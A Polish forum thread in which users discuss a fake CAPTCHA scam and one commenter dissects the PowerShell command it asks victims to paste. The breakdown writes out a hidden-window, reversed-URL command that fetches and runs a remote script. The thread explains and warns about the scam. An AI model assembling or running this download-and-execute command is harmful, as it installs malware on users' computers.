Hejto.pl
Dodaj post

Wpisz coś do wyszukania (minimum 2 znaki)

Wpis użytkownika PanNiepoprawny w Hydepark

Fanatyk

w Hydepark

28piorunów

Też trafiliście na taki scam podszywający się pod captcha?

Komentarze (15)

Fenomen5piorunów

Ale to jest prymitywne (choć podejrzewam, że skuteczne). To skrypt PowerShellowy, który łączy się z ich stroną. Ale żeby nie było tak wprost to:

1. Losowe litery skryptu zostały zamienione na wielkie litery (amanda99 SkONT KliKaSh?)
2. docelowy adres został podany w skrypcie wspak a następnie odwrócony
3. finalnie na przygotowany adres wysyłany jest GET

Osobistość0piorunów

@Trawienny aha, czyli to trochę inny prostszy mniej ukryty atak.

Fenomen2piorunów

@korfos który losowy ciąg znaków? Tu nie ma żadnego losowego ciągu znaków. To pokolei:

1. Powershell - wywołanie PowerShella
2. -nop - przełącznik noprofile
3. -w hidden - przełącznik windowstyle, ukrycie okna
4. -c - przełącznik command, wywołanie komendy
5. $r='moc.fodinel//:sptth'.tochararray(); - wrzucenie linka do adresu [tu jest adres do strony scamowej, ale wole go nie podawać bo jeszcze ktoś kliknie] do zmiennej $r w formie odwróconej macierzy
6. [array]::reverse($r) - odwrócenie odwróconej macierzy
7. $u=($r -join '') - zamiana macierzy na string i wrzucenie do zmiennej $u
8. [scriptblock]::create((invoke-restmethod $u)).invoke() - wywołanie bloku skryptu i strzelenie GETem do adresu znajdującego się w zmiennej $u

Osobistość1piorunów

@Trawienny A ten losowy ciąg znaków to nie jest kodowany w base64? Po wklejeniu powinien się on z automatu odkodować i odpalić skrypt powershella pobierający jakiś syf.

Autorytet1piorunów

Co robi win+r?